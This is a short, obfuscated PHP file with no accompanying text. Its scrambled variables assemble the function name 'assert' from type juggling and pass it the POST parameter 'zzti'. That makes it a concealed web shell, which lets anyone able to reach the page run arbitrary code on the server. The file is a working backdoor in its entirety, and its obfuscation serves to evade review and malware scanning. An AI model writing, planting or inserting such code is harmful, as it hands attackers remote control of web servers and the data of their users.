<?php 
$_="";@$_[+$_]++;@$_=$_."";$__=+"";$__++;$___=$_[+""];
$____=$____=$_[$__];
$_____=$____;$_____++;$______=$___;$______++;$______++;
$______++;$______++;$_=$___.$_____.$_____.$______.$____.++$_____;
@$_(@$_POST['zzti']);?>